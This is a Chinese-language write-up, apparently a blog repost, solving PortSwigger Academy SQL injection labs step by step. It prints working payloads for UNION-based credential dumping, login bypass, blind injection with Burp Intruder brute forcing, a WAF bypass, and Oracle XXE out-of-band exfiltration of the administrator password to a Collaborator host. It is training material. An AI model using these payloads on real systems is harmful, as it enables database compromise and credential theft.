打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
Portswigger Burp学院靶场(一)SQL注入
userphoto

2023.02.26 广东

关注

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。


1.SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

题目:WHERE子句中的SQL注入漏洞允许检索隐藏数据。

任意点击一个品类,Hackbar LoadUrl得到参数category,可以发现显示的产品就几个,数量不多,要做的就是打破限制,将隐藏产品也显示出来

该题就是where语句注入,直接利用or 1=1设置为永远为True,在商品处使用Hackbar或抓包注入即可
?category=Gifts' or 1=1--

直接查询出来隐藏数据,所有产品信息都会显示出来

2.SQL injection vulnerability allowing login bypass

题目:允许绕过登录的SQL注入漏洞。即万能密码。

点击My account,使用万能密码登录administrator,密码任意输入;
在账户处尝试截断SQL语句,进而跳过密码校验(密码随便输)

username=administrator'--

username=administrator' or '1'='1

3.SQL injection UNION attack, determining the number of columns returned by the query

题目:UNION攻击,确定查询返回的列数。

抓包发送到Repeater,修改参数注入

?category=Pets' order by 3--

页面返回正常

?category=Pets' order by 4--

Internal Server Error

所以为3列。

?category=Pets' union select null,null--

页面错误

?category=Pets' union select null,null,null--

页面返回正常,Solved

4.SQL injection UNION attack, finding a column containing text

题目:UNION攻击,查找包含文本的列。

Make the database retrieve the string: 'YjuMnv',使数据库检索随机字符串'YjuMnv'

紧接着上个实验,试了下列数也是三列,抓包发送到Repeater,直接输入语句即可,三个null位置轮流试

?category=Tech' union select null,'YjuMnv',null--

页面返回正常,Solved

5.UNION attack, retrieving data from other tables

题目:UNION攻击,从其他表中检索数据。

?category=Gifts' union select null,null--

懒得抓包,直接Hackbar搞起,尝试了下发现这个环境列数为两列。

?category=Gifts' union select 'test1','test2'--

确认输出列为页面最下方两列数据。

?category=Gifts' union select username,password from users--

administrator crtlnqexkg5pkyklkzdx

登录,Solved。

6.SQL injection UNION attack, retrieving multiple values in a single column

题目:UNION攻击,在单个列中检索多个值。

尝试使用Group_concat()

?category=Accessories' union select null,null--

Hackbar中发现列数仍然为两列。

?category=Accessories' union select null,concat(username,password) from users--

group_concat报Internal Server Error,concat可以使用。

?category=Accessories' union select null,username||'~'||password from users--

语句中必须带||||和’’,例如||’~’||、||’’||或填写任意字符都可以。

登录administrator,Solved。

7.SQL injection attack, querying the database type and version on Oracle

题目:在Oracle上查询数据库类型和版本。

Oracle上有个dual表,查询需要借助该表完成。

?category=Pets' union select null,null from dual--

尝试发现列数为两列。

?category=Pets' union select null,banner from v$version--

banner信息就是欢迎语条幅,在banner信息中可以得到软件开发商,软件名称、版本、服务类型等信息,查询版本不同于MySQL@@version,Oracle中为v$version

8.SQL injection attack, querying the database type and version on MySQL and Microsoft

题目:在MySQL和MSSQL上查询数据库类型和版本。

' union select null,null--、' union select null,null,null--、' union select null,null,null,null--

一连串400报错,–换成#还是400报错…怀疑人生,必须抓包了。

抓包发送到Repeater添加+号代替空格变成了500报错,有戏,–改成#成了

?category=fuck'+union+select+null,+null--

?category=fuck'+union+select+null,+null#

?category=fuck'+union+select+'test1',+'test2'#

探测输出位,在页面下方

?category=fuck'+union+select+@@version,+null#

想在Hackbar里完成操作发现无法显示,可能需要添加sleep语句,如

'union+select+@@version,+sleep(5)#

9.SQL injection attack, listing the database contents on non-Oracle databases

题目:列出非Oracle数据库上的数据库内容。

点击pets,抓包

GET /filter?category=Pets' union select null-- HTTP/1.1

order by无法使用,只能一个个字符尝试:

GET /filter?category=Pets'+union+select+null,null-- HTTP/1.1

得到为两列,插入字符得到显示位

查询数据库中的表:

GET /filter?category=Pets'+union+select+table_name,null+from+information_schema.tables-- HTTP/1.1

查询列:试了好多表,后来查了下才发现数据在users_mklbnz里面

GET /filter?category=Pets'+union+select+column_name,null+from+information_schema.columns+where+table_name='users_mklbnz'-- HTTP/1.1

查询账户和密码:

GET /filter?category=Pets'+union+select+username_sfbnsz,+password_vlveec+from+users_mklbnz-- HTTP/1.1

administrator

zu8o7dywk4quhs627fmt

10.SQL injection attack, listing the database contents on Oracle

题目:列出Oracle上的数据库内容。

?category=Gifts' union select null,null from dual--

尝试得出列数为两列。

?category=Gifts' union select 'test1','test2' from dual--

显示位在页面下方。

?category=Gifts' union select table_name,null from all_tables--

从all_tables查询所有表。

?category=Gifts' union select column_name,null from all_tab_columns where table_name='USERS_FDRGWE'--

查找一个可能有用户数据的表内列名

PASSWORD_BKFEVL USERNAME_VTQUYA

?category=Gifts' union select USERNAME_VTQUYA,PASSWORD_BKFEVL from USERS_FDRGWE--

administrator nj31t224hbktniopu551

登录administrator,Solved。

11.Blind SQL injection with conditional responses

题目:带响应条件的SQL盲注。

开始还以为像上面的注入点在category里,试了几次发现不对劲,看着解决方案注入点不再是category而是在cookie里,Cookie: TrackingId=CxOfHpa0iV703vdm

TrackingId=CxOfHpa0iV703vdm'and 1=1

返回信息为正常数据无反应

TrackingId=CxOfHpa0iV703vdm'and '1'='1

返回信息出现welcome back!

'and '1’='2无welcome back,字符型

TrackingId=CxOfHpa0iV703vdm'and (select 'a' from users limit 1)='a;

出现welcome back说明存在users表。

TrackingId=CxOfHpa0iV703vdm'and (select 'a' from users where username='administrator')='a;

出现welcome back,说明存在administrator

'and (select 'a' from users where username='administrator' and length(password)>19)='a;

密码长度,试到19出现welcome back,20没有,则密码19位

发送到Intruder:

Cookie: TrackingId=CxOfHpa0iV703vdm' and (select substring(password,1,1) from users where username='administrator')='§a§;

substring会将密码中字符单个提取,并针对其特性值测试,通过遍历每个位置和可能的值得到密码。

Payload页面选择'simple list',payload option选择a-z和0-9,通过Add from list添加。

到option页面,grep匹配Grep-Match先clear所有语句,再添加语句“welcom back”,

得到第一个字符9

TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

偏移量1,1改为2,1,,继续爆破,一直到20,1获取完整密码。

9ynoz9pekk7vvtf30clt,登录成功Solved,太太太难了。

12.Blind SQL injection with conditional errors

题目:带有条件错误的盲SQL注入。

'and 1=1;页面500, ’ and '1’='1; 页面正常,但没有出现welcome back,无回显

' union select version from v$instance-- 返回正常,说明为Oracle数据库

/使用case when来进行判断,当WHEN后面的条件为真,则会执行THEN 后面的 1/0 报错

' union select casee when (1=2) then to_char(1/0) else null end from dual--

1=2一定false,所以不执行后面的1/0报错,页面正常。

' union select case when (username='administrators') then to_char(1/0) else null end from users--

正常,说明users表内存在username=administrators

' union select case when (username='administrator' and length(password)=19) then to_char(1/0) else null end from users--

密码位数19位,返回正常

' union select case when (username='administrator' and length(password)=20) then to_char(1/0) else null end from users--

500错误,密码为20位。

' union select case when (username='administrator' and substr(password,1,1)='§a§') then to_char(1/0) else null end from users--

Intruder开始配置simple list、a-z、0-9。开始爆破,出现500说明猜解正确。

moae7ohdeqyy8tnbhsls

登录,Solved。

解决思路内的方法

'||(select'')||' 500错误,数据库对不上 '||(select'' from dual)||' 页面正常,为Oracle

查询不存在的表:not-a-real-table

'||(select’’ from not-a-real-table)||’ 不存在的表一定报错,说明语句在后台被执行了

'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

验证是否收到错误信息,when1=1,Ture必定正确,页面爆出500错误,所以语句搜索成功返回500

'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

1=2false,页面返回正常

'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

500,说明user表内administrator用户存在

'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

确认administrator密码长度大于1位,一直试探到大于>20报错,说明20位长。

'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Intruder爆破。a-z、0-9

13.Blind SQL injection with time delays

题目:具有时间延迟的盲SQL注入。

注入点也在Cookie中

不起作用:

' union select sleep(5)--

不起作用:

' union select pg_sleep(5)--;

不起作用:

' union waitfor delay '0:0:10'--

不起作用:

' union dbms_pipe.receive_message(('a'),10)--

使用解决方法内的:

'||pg_sleep(10)--

也可以使用;的HTML编码后的%3b

'%3Bselect pg_sleep(5)--

Solved,后面发现这个数据库是PostgreSQL,所以需要用PostgreSQL内置的pg_sleep()。

14.Blind SQL injection with time delays and information retrieval

题目:具有时间延迟和信息检索功能的盲SQL注入。

同样是postgresql,

'||pg_sleep(3)--

'%3Bselect pg_sleep(5)--

出现延迟,存在时间盲注。

'%3Bselect case when (1=1) then pg_sleep(3) else pg_sleep(0) end--

'%3Bselect case when (1=2) then pg_sleep(5) else pg_sleep(0) end--

验证时间盲注漏洞,1=1延迟,1=2无延迟。

验证是否存在users表:

'%3Bselect case when (1=1) then pg_sleep(3) else pg_sleep(0) end from users--

验证users表内是否有administrator用户:

'%3Bselect case when (username='administrator') then pg_sleep(5) else pg_sleep(0) end from users--

'%3Bselect case when (username='administrator' and length(password)>19) then pg_sleep(5) else pg_sleep(0) end from users--

验证administrator用户的密码长度,长度20

'%3Bselect case when (username='administrator' and substring(password,1,1)='§a§') then pg_sleep(5) else pg_sleep(0) end from users--

Intruder爆破

0(1)b

太蛋疼了,设置下timeout结果一堆误报

设置1,1到20,1

payload sets设置

线程设置为1,756次,慢慢等,甚至可以先吃把鸡,点击Columns选择response received,倒叙排列,接近10000的是结果。

1    q
2 g
3 m
4 9
5 v
6 g
7 3
8 l
9 d
10 i
11 9
12 2
13 3
14 n
15 6
16 t
17 4
18 n
19 p
20 l

等了一万年终于爆破出来了,登录administrator,Solved。吐了,再也不想手工搞时间盲注了。

15.Blind SQL injection with out-of-band interaction

题目:带外交互的SQL盲注,外部注入。

该数据库包含另一个名为的表users,其列名为username和password。您需要利用盲目的SQL注入漏洞来找出administrator用户密码。

这个是类似XXE的外部注入,完整的攻击需要一个外网vps配合完成

'+and+'1'='1

试探下,发现可

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d'1.0'+encoding%3d'UTF-8'%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+'http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/'>+%25remote%3b]>'),'/l')+FROM+dual--

'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d'1.0'+encoding%3d'UTF-8'%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+'http%3a//[x.burpcollaborator.net/](http://x.burpcollaborator.net/)'>+%25remote%3b]>'),'/l')+FROM+dual--

或XXE注入,外部实体注入

'+UNION+SELECT+extractvalue(xmltype(

'<?xml+version='1.0'+encoding='UTF-8'?>

<!DOCTYPE+root+

[+<!ENTITY %+remote+SYSTEM+'http://x.burpcollaborator.net/'> %remote;]>'),'/l'

)+FROM+dual--

TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d'1.0'+encoding%3d'UTF-8'%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+'http%3a//[x.mtj1ta53b35yx04am7tckjb4ivomcb.burpcollaborator.net/](http://x.mtj1ta53b35yx04am7tckjb4ivomcb.burpcollaborator.net/)'>+%25remote%3b]>'),'/l')+FROM+dual--;

还可以读取administrator的密码:

'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d'1.0'+encoding%3d'UTF-8'%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+'http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.[guevu46xcx6syu54n1u6ldcyjppjd8.burpcollaborator.net/](http://guevu46xcx6syu54n1u6ldcyjppjd8.burpcollaborator.net/)'>+%25remote%3b]>'),'/l')+FROM+dual--;

密码会显示到DNS服务器内,可以使用Burp的client

16.Blind SQL injection with out-of-band data exfiltration

题目:带外数据渗透的SQL盲注。

https://portswigger.net/web-security/sql-injection/cheat-sheet

使用 Burp Collaborator client复制下DNS地址,Copy to clipboard,然后Client别关闭,等待结果。

orjcyfy1fa99b6ozdacttvmr4ia9yy.burpcollaborator.net
'+ UNION + SELECT + extractvalue(xmltype('<%3fxml + version%3d“ 1.0” + encoding%3d“ UTF-8”%3f> <!DOCTYPE + root + [+ <!ENTITY +%25 + remote + SYSTEM +“ http%3a //'||((SELECT + password + FROM + users + WHERE + username%3d'administrator')||' 。ioa8x3z6f0imbza4jpgjw3kdw42uqj.burpcollaborator.net /”> +%25remote%3b]>')) ,'/ l')+ FROM + dual--;

使用SYSTEM指令,命名为Remote以加载URL内容,声明外部实体DTD

%remote调用触发对URL的HTTP GET请求。

burpcollaborator Client上点击Poll now立即刷新。

brqvwmehvr8bix6ru8p9登录administrator,Solved。

17.SQL injection with filter bypass via XML encoding

题目:通过XML编码绕过WAF的SQL注入。

新出的一个题,这个题带有一个WAF,会拦截包含明显SQL注入攻击迹象的请求,需要模糊恶意请求来绕过WAF,题目推荐使用Hackvertor来绕过

在burp插件商店下载Hackvertor

抓包得到两个包,两个可能的注入点,URL里一个,下方的Check Stock中也有。

<?xml version='1.0' encoding='UTF-8'?><stockCheck><productId>1</productId><storeId>2</storeId></stockCheck>

GET /product?productId=

根据题目XML编码再简单试了下,URL里直接尝试会返回Json数据包报错,所以注入点应该是在XML中<productId>1</productId><storeId>2</storeId>这两个参数中,抓包将XML包发送到Repeater

尝试修改参数,返回信息都不同,说明被执行了且为整型

2
2-1
2+1

然后判断列数,根据如下尝试得到列数为1列

<storeId>2 order by 1</storeId>
页面返回488 units
<storeId>2 order by 2</storeId>
页面返回0 units

尝试使用联合查询注入被WAF拦截

<storeId>2 union select 1</storeId>
返回'Attack detected'

尝试使用简单的绕过

外部实体名字就叫Entity

使用Hackvertor进行外部实体编码,任意的Entities编码都行,这里先编码成html_entities

<storeId><@html_entities>1 union select 1<@/html_entities></storeId>

爆破所有数据库,列数为1列所以直接输入即可,无需括号

<storeId><@html_entities>11 union select schema_name from information_schema.schemata<@/html_entities></storeId>

爆破两个数据库,查找哪个有users表

<storeId><@html_entities>11 union select table_name from information_schema.tables where table_schema='public'<@/html_entities></storeId>

爆破users里面的字段

11 union select column_name from information_schema.columns where table_schema='public' and table_name='users'

爆破具体内容,因为列数就一列,所以没法直接同时查询,可以逐个字段查询

<storeId><@html_entities>11 union select username from users<@/html_entities></storeId>
carlos
administrator
wiener
<storeId><@html_entities>11 union select password from users<@/html_entities></storeId>
8phwvjbynez7e2rupiw9
4wa1w33lyd6rempfkp9h
6fgxmjtg0f3rhte0bzis

也可以用分隔符将username和password分隔开,将两个字段数据一次性导出,登录administrator即可

<storeId><@html_entities>11 union select username ||'@'||password from users<@/html_entities></storeId>

#

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
史上最全的 SQL 注入资料,收藏不谢
SQL sql语句实现行转列的3种方法
DWVA-关于SQL注入的漏洞详解<SQL Injection>
Excel中如何用SQL进行多工作簿汇总
跟日期有关的两条经典SQL语句
【sql in excel】入门21:Union和Union All
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服